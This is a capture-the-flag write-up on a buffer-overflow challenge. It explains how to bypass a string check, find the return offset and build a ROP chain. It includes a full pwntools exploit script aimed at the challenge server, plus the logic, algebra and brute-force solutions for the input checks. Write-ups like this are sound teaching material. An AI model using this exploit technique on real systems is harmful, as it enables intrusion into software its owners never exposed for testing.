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Discrete Mathematics

Buffer overflow, with a ROP chain.
The same challenge, but this time we need ot build a ROP chain.
void quiz() {
FILE *fp = fopen("flag.txt", "r");
char flag[100];
​
if (fp == NULL) {
puts("Sorry, all my stuff's a mess.");
puts("I'll get around to grading your quiz sometime.");
puts("[If you are seeing this on the remote server, please contact admin].");
exit(1);
}
​
fgets(flag, sizeof(flag), fp);
​
if (knows_logic && knows_algebra && knows_functions) {
puts("Alright, you passed this quiz.");
puts("Here's your prize:");
puts(flag);
} else {
puts("Not there yet...");
puts("Study some more!");
}
}
We can't just jump to quiz() directly, since we need to make knows_logic, knows_algebra, and knows_functions True. Each of these variables are only set within their corresponding functions: logic(), algebra() and functions().
If we build a ROP chain as follows, we can control the return addresses of subsequent returns.
Again, we will have to bypass the strcmp() check:
if (strcmp(response, "i will get an A")) {
puts("I'm sorry, but you obviously don't care about grades.");
puts("Therefore, you aren't motivated enough to be in our class.");
puts("Goodbye.");
exit(1);
}
Prepare our cyclic pattern payload:
python -c "print 'i will get an A' + '\x00' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'" > ipt.txt
We find that the offset is 56.
We find the function addresses:
  • logic: 0x00401236
  • algebra: 0x00401336
  • functions: 0x0040144d
  • quiz: 0x00401544
from pwn import *
​
logic = 0x00401236
algebra = 0x00401336
functions = 0x0040144d
quiz = 0x00401544
​
logic = p64(logic)
algebra = p64(algebra)
functions = p64(functions)
quiz = p64(quiz)
​
offset = 56
payload = b"i will get an A"
payload += b"\x00"
​
# Build the ROP chain
payload += b"A" * offset
payload += quiz
payload += logic
payload += quiz
payload += algebra
payload += quiz
payload += functions
payload += quiz
print(payload)
​
with open('payload', 'wb') as f:
f.write(payload)
​
conn = remote('bin.bcactf.com', 49160)
​
print(conn.recv())
print(conn.recv())
​
print("\nSending payload...")
conn.send(payload + b"\n")
​
print(conn.recv())
​
conn.interactive()
conn.close()
Now, we get an interactive connection where we will first jump to logic(), then algebra(), then functions().
We just have to figure out the appropriate values to pass the checks.
void logic() {
int p, q, r, s;
​
printf("p: ");
scanf("%d", &p);
printf("q: ");
scanf("%d", &q);
printf("r: ");
scanf("%d", &r);
printf("s: ");
scanf("%d", &s);
​
knows_logic = (p || q || !r) && (!p || r || !s) && (q != s) && s;
}
So, from (q != s) && s, we know s must be 1, q must be 0.
Then, from (p || q || !r) && (!p || r || !s), we have (p || 0 || !r) && (!p || r || 0), which is (p || !r) && (!p || r). Either p = r = 0 or p = r = 1 works.
void algebra() {
int x, y, z;
​
printf("x: ");
scanf("%d", &x);
printf("y: ");
scanf("%d", &y);
printf("z: ");
scanf("%d", &z);
​
int eq1 = 5*x - 6*y + 3*z;
int eq2 = 2*x + 5*y - 7*z;
int eq3 = 4*x + 8*y + 8*z;
​
knows_algebra = (eq1 == 153) && (eq2 == -163) && (eq3 == -28);
}
We can solve the simultaneous equations to get:
  • x = 3
  • y = -17
  • z = 12
void functions() {
int a, b, c;
​
printf("a: ");
scanf("%d", &a);
printf("b: ");
scanf("%d", &b);
printf("c: ");
scanf("%d", &c);
​
int vertex_x = -b / (2*a);
int vertex_y = a * vertex_x * vertex_x + b * vertex_x + c;
int discriminant = b * b - 4 * a * c;
​
knows_functions = (vertex_x == 2) && (vertex_y == -2) && (discriminant == 16);
}
The values seemed pretty small, so a bruteforce script easily gets the values.
for a in range(-10, 10):
if a == 0:
continue
for b in range(-10, 10):
for c in range(-10, 10):
vertex_x = -b / (2*a)
vertex_y = a * vertex_x * vertex_x + b * vertex_x + c
discriminant = b * b - 4 * a * c
​
if (vertex_x == 2) and (vertex_y == -2) and (discriminant == 16):
print(a, b, c)
break
We have:
  • a = 2
  • b = -8
  • c = 6
Plugging these values in, we get the flag.